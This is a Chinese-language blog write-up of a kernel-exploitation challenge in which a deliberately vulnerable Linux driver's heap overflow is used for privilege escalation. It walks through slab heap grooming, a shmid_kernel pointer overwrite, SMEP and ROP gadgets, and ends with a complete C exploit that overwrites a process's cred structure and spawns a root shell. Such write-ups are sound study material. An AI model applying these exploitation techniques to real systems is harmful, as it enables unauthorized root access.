Exploiting Linux Kernel Heap Corruptions

这种类型的漏洞利用借助吾爱破解挑战赛的一个题目进行学习,给了一个有问题的驱动程序。
让在Ubuntu14.04 32位系统环境下提权,Ubuntu14.04内核版本是3.14,我的测试环境是在qemu中启动的一个linux-3.10的内核版本。用qemu是为了方便调试。

简要分析

有漏洞的驱动关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{

unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;

if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;

if (p > dev->size)
return -ENOMEM;

if (count > dev->size - p)
count = dev->size - p;

if (copy_to_user(buf, (void*)(dev->data + p), count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}

return ret;
}

static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{

unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;

if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;

if (p > dev->size)
return -ENOMEM;

if (count > dev->size - p)
count = dev->size - p;

if (copy_from_user((void *)(dev->data + p), buf, count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}

return ret;
}

static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

struct mem_init data;

if(!arg)
return -EINVAL;

if(copy_from_user(&data, (void *)arg, sizeof(data))) {
return -EFAULT;
}

if(data.len <= 0 || data.len >= 0x1000000)
return -EINVAL;

if(data.idx < 0)
return -EINVAL;

switch(cmd) {
case 0:
mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
if(!mem_devp[data.idx].data) {
return -ENOMEM;
}
memset(mem_devp[data.idx].data, 0, data.len);
break;
default:
return -EINVAL;
}

return 0;
}

这里的一个驱动对应了三个字符设备,通过mem_open()将打开的设备与驱动层的设备结构体对应起来,驱动层用一个结构体指针mem_devp指向了三个连续的mem_dev设备结构体。 mem_write()里的dev->data是通过调用mem_ioctl()kmalloc()出来的,kmalloc的size可以自行指定。但是mem_write()可以写0x5a0000000个字节。于是通过mem_write(),可以写内核堆,甚至写到内核栈里。
exploit的方法是覆盖内核某个堆结构,改掉其上的某个指针,最好是某个函数指针,或者函数表指针。这里是shmid_kernel结构的file结构体指针,里面存有shm_ops,这是shm的函数表,里面有shm_mmap,而这个函数可以在用户态通过shmat()调用到。shmid_kernel这个结构体,可以通过在用户层进行系统调用shmget()时,被kmalloc分配,分配的大小是96字节(确认大小的方法在后面的相关知识),因此会在大小为96的slab中分配。
代码清单 include/linux/shm.h: shmid_kernel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;

/* The task created the shm object. NULL if the task is dead. */
struct task_struct *shm_creator;
};

insmod加载编译好的驱动后,按道理应该自动创建好了memdev0-2字符设备,但是不知道为什么qemu里没有创建,需要自己手动创建,创建时需要知道设备的主设备号,于是在驱动源代码cdev_add()后面patch了一个打印主设备号的语句:

1
2
ret = cdev_add(&cdev, devno, MEMDEV_NR_DEVS);
printk("devno mem_major: %d\n", MAJOR(devno)); // patched

这样加载驱动后,可以得到设备的主设备号,根据主设备号手动创建字符设备:

1
2
3
4
5
6
# mknod /dev/memdev0 c 250 0
# mknod /dev/memdev1 c 250 1
# mknod /dev/memdev2 c 250 2
# chmod 777 /dev/memdev0
# chmod 777 /dev/memdev1
# chmod 777 /dev/memdev2

覆盖前的堆

要保证覆盖到堆中的结构,需要分配的内存都是相邻的。内核里kmalloc是slab分配机制,一次至少分配一个页(4096字节),然后这个页分为多个连续的大小相同的块。内核中关于slab的信息,可以通过如下方式获得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat /proc/slabinfo
...
kmalloc-8192 60 60 8192 4 8 : tunables 0 0 0 : slabdata 15 15 0
kmalloc-4096 104 120 4096 8 8 : tunables 0 0 0 : slabdata 15 15 0
kmalloc-2048 144 144 2048 16 8 : tunables 0 0 0 : slabdata 9 9 0
kmalloc-1024 608 608 1024 32 8 : tunables 0 0 0 : slabdata 19 19 0
kmalloc-512 1252 1376 512 32 4 : tunables 0 0 0 : slabdata 43 43 0
kmalloc-256 924 1024 256 32 2 : tunables 0 0 0 : slabdata 32 32 0
kmalloc-192 7835 8694 192 21 1 : tunables 0 0 0 : slabdata 414 414 0
kmalloc-128 1087 1344 128 32 1 : tunables 0 0 0 : slabdata 42 42 0
kmalloc-96 19430 19740 96 42 1 : tunables 0 0 0 : slabdata 470 470 0
kmalloc-64 29187 29504 64 64 1 : tunables 0 0 0 : slabdata 461 461 0
kmalloc-32 19337 23552 32 128 1 : tunables 0 0 0 : slabdata 184 184 0
kmalloc-16 4096 4096 16 256 1 : tunables 0 0 0 : slabdata 16 16 0
kmalloc-8 12288 12288 8 512 1 : tunables 0 0 0 : slabdata 24 24 0

这是一些通用的slab,分配的时候是向上对齐的。比如,kmalloc分配的内存大小在区间(64, 96],那么就会给它分配大小为96的块,在大小为96的slab中。slab中有空闲块的时候,会先分配空闲块,没有空闲块时,会分配新的slab。所以想要得到两个相邻的块,需要两个块大小处于同一区间(这里都是申请的大小为96的块),申请之前需要消耗掉所有空闲的大小为96的块。 回到题目中,想要通过mem_write()覆盖下一个堆块,即目标堆块shmid_kernel需要:

  • 不断调用mem_ioctl(),并设置arg.len=96,来消耗掉空闲的96字节的块。
  • 紧接着调用shmget()来申请一个shmid_kernel结构。
  • 再调用mem_write()来进行覆盖。

排布好的堆如下:

1
2
3
4
5
6
7
8
9
10
11
12
|  ...   |
+--------+<--fd[0]
| 96 |
+--------+<--fd[1]
| 96 |
+--------+<--fd[2]
| 96 |
+--------+<--shmid_kernel
| 96 |
+--------+<--fd[1]
| 96 |
+--------+

Overwrite

覆盖的过程就是要写fd[2]溢出到shmid_kernel中,将shmid_kernelshm_file指针(fd[2]+0x60+0x38)指向我们自己伪造的file结构:

1
2
3
4
5
void *ptr = &file;
file.f_op = &op;
op.mmap = attack_address;
read(fd[2], readbuf, 0x60+0x38); // 设置ppos偏移
write(fd[2], &ptr, 4); // 用伪造的file指针覆盖原file指针

那么调用shmat()的时候,会调用:

1
shmid_kernel->shm_file->f_op->mmap()

理论上也就会执行attack_address中的指令。但是我覆盖完之后,还没有执行到mmap就出错了,是因为伪造的file缺少内容f_path,导致在do_shmat的path相关的语句读取非法的地址导致内核错误。 所以我想把原file的内容拷贝到我伪造的file中,但是用户空间的memcpy不能将内核空间内存拷贝到用户空间。
我又尝试查看正常情况下,f_path的内容:在do_shmat()path_get(&path);这一行下断点,查看&path对应内存的值,伪造path结构体:

1
2
3
path.mnt = 0xd6c01280;
path.dentry = 0xd708ec00;
file.f_path = path;

伪造后错误变成如下: 参考的文章中file结构是在堆上与shmid_kernel结构相邻的所以只要伪造f_op即可,没有改变file的内容,而我的file结构在shmid_kernel更低的地址,驱动的read和write无法写到。但是文中说ioctl有任意地址写的问题,利用任意地址写只改写file结构的f_op指针应该可以达到目的,后面再研究一下。

SMEP

得到控制流之后以前的提权思路是将控制流转移到用户态的代码里来:

1
2
3
4
int getroot(void) {
commit_creds(prepare_kernel_cred(0));
return -1;
}

但是,这样只能针对没有开启SMEP(Supervisor Mode Execution Protection Enable)的情况。
什么是SMEP,简单来说就是禁止内核执行用户空间的代码。它存在于CR4寄存器的第20个bit。
在Android上也叫PXN。因为传统的内核提权漏洞利用,得到控制流之后,直接跳转到用户空间执行提权代码太容易,所以增加这个缓解机制。
由于系统开了SMEP,必须采用ROP的方法进行提权。

ROP & 栈转移

构造ROP来调用

1
commit_creds(prepare_kernel_cred(0));

通过cat /proc/kallsyms得到符号表之后,可以定位prepare_kernel_credcommit_creds的地址:

1
2
commit_creds = 0xc105dfe0
prepare_kernel_cred = 0xc105e280

只需要传入参数0,看prepare_kernel_cred函数的汇编,这个参数用eax传递,所以需要的gadget:

1
2
3
4
5
pop eax
ret
// or
xor eax, eax
ret

prepare_kernel_cred的返回值会直接传给commit_creds,不用在ROP链里构造。初步ROP链:
| pop eax ; ret; | prepare_kernel_creds | commit_cred |
ROP链要写到栈里去,最后获得控制流之前,eax是内核堆上的地址,是shmid_kernelshm_file,里面的内容我们可以控制。不好往栈里写数据,不妨把栈转移到能控制的地方。找一条xchg eax, esp; ret 0x8b这样的指令。因为eax是shm_file,还在内核空间,而其内容可以通过修改exploit中file的内容控制,相当于可以控制栈内容。

内核ROP需要的gadget可以用ROPgadget工具在vmlinux文件中查找。

相关知识

shmget()系统调用可以分配struct shmid_kernel,其中有我们想覆盖的函数指针。实现的关键代码如下:
ipc/shm.c

1
2
3
4
5
6
7
SYSCALL_DEFINE3(shmget, key_t, key, size_t, size, int, shmflg)
{
struct ipc_ops shm_ops;
shm_ops.getnew = newseg;
...
return ipcget(ns, &shm_ids(ns), &shm_ops, &shm_params);
}

调用链:shmget->ipcget->ipcget_new->getnew。由上面的代码可知getnew实际上是newseg。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{

struct shmid_kernel *shp;
shp = ipc_rcu_alloc(sizeof(*shp));
...
}

void *ipc_rcu_alloc(int size)
{

struct ipc_rcu *out = ipc_alloc(sizeof(struct ipc_rcu) + size);
...
}

void *ipc_alloc(int size)
{

void *out;
if(size > PAGE_SIZE)
out = vmalloc(size);
else
out = kmalloc(size, GFP_KERNEL);
return out;
}

用IDA反编译vmlinux,得到ipc_alloc()的地址,在调用kmalloc()前下断点(qemu启动内核,gdb远程附加),在用户空间中调用shmget(),可以看到分配的大小为96字节。

总结

通过做这个内核提权的练习,发现自己的代码能力还是太差,代码分析能力不足。后面还需要一些调试,还需要对Linux内核中的一些数据结构进行进一步了解,对源码进一步了解。

补充

随着对Linux Kernel漏洞利用的继续学习,最近又重新看了一下这个没有解决好的问题,发现用刚学到的新方法来做简直不要太简单(装逼一直是我的强项)。
用修改cred结构体的方法感觉是最简单的,这里有一个明显的堆溢出,只要通过ioctl申请cred结构体一样size的堆块,再紧接着fork,cred结构体就和前面申请的堆块相邻,只要溢出前面一个堆块来覆盖cred结构体中的数据即可。
下面是完成的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

struct mem_init {
unsigned int idx;
unsigned int len;
};

int main()
{

int fd[3], i, now_uid, ret;
pid_t pid;
struct mem_init arg;
char zero_buf[100], readbuf[200];
memset(zero_buf, 0, sizeof(char) * 100);
pid = getpid();
now_uid = getuid();
printf("pid = %d, uid = %d\n", pid, now_uid);

fd[0] = open("/dev/memdev0", O_RDWR);
fd[1] = open("/dev/memdev1", O_RDWR);
fd[2] = open("/dev/memdev2", O_RDWR);
for (i = 0; i < 3; i++) {
if (fd[i] < 0) {
printf("[-] open driver failed!\n");
return 0;
}
}
printf("[+] open driver success\n");

arg.idx = 0;
arg.len = 0x80;
for (i = 0; i < 1000; i++) {
ioctl(fd[0], 0, &arg);
}
arg.idx = 1;
ioctl(fd[1], 0, &arg);
pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}
if (!pid) {
read(fd[1], readbuf, 0x80); // set llseek point
ret = write(fd[1], zero_buf, 28);
now_uid = getuid();
if (!now_uid) {
printf("get root success\n");
system("/bin/sh");
exit(0);
} else {
puts("failed?");
exit(0);
}
} else { // child process
wait(NULL);
}
return 0;
}

还需要说明一下,这次我用的是Mac和VMware(Ubuntu 12.04 32bit linux-3.10)的组合,Mac上的gdb虽然不能识别ELF,没有符号表,但是还是可以和IDA静态分析相结合来下断点等。用VMware分析感觉比qemu更方便一些,不用每次修改exp时重启系统。
reference
初识linux内核漏洞利用
Exploiting Linux Kernel Heap Corruptions (SLUB Allocator)
Exploit linux kernel slub overflow - wzt